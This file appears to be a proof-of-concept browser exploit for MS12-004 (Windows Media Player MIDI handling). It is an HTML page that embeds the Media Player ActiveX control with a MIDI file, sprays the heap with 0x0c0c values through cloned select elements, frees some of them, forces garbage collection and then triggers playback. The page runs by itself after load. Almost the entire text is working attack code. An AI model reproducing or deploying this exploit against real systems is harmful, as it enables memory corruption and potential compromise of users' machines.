// http://sebug.net/paper/Exploits-Archives/2012-exploits/1201-exploits/MS12-004_poc.zip
 
<object id="midi1" classid="clsid:22d6f312-b0f6-11d0-94ab-0080c74c7e95" codebase="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#version=5,1,52,701" standby="loading microsoft windows media player components..." type="application/x-oleobject" width="320" height="310">
<param name="filename" value="./toto.mid">
     <param name="animationatstart" value="true">
     <param name="transparentatstart" value="true">
     <param name="autostart" value="false">
     <param name="showcontrols" value="true">
     <param name="ShowStatusBar" value="true">
     <param name="windowlessvideo" value="true">
     <embed src="./toto.mid" autostart="true" showcontrols="true" showstatusbar="1" bgcolor="white" width="320" height="310">
</object>
 
<script>
 
var cloned = new Array();
var numCloned = 50;
 
function bang()
{
	
	
	for (var i = 0; i < numCloned; i ++)
	{
		if ( cloned[i] != null )
		{
			var s = cloned[i].w0.toString();
			//alert(s);
		}
	}
}
 
function exploit()
{
	
	var selob = document.createElement("select");
	selob.w0 = unescape("%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c%u0c0c");
	selob.w1 = this;
	selob.w2 = new Array();
	selob.w3 = true;
	selob.w4 = 0x41424344;
	selob.w5 = document.createElement("marquee");
	selob.w6 = undefined;
	selob.w7 = null;
	selob.w8 = alert;
	selob.w9 = RegExp.$1;
	selob.w10 = Infinity;
	selob.w11 = NaN;
	selob.w12 = new Date();
	
	for (var i = 12; i < 60; i ++)
	{
		selob["w"+i.toString()] = 0x41424344;
	}
 
	for (var i = 0; i < numCloned; i ++)
	{
		cloned[i] = selob.cloneNode(true);
	}
 
	
	for (var i = 1; i < numCloned; i += 7)
	{
		cloned[i] = null;
	}
 
	CollectGarbage();
 
	midi1.play();
 
	setTimeout(function(){bang();}, 5000);
}
 
setTimeout(function(){exploit();}, 3000);
 
</script>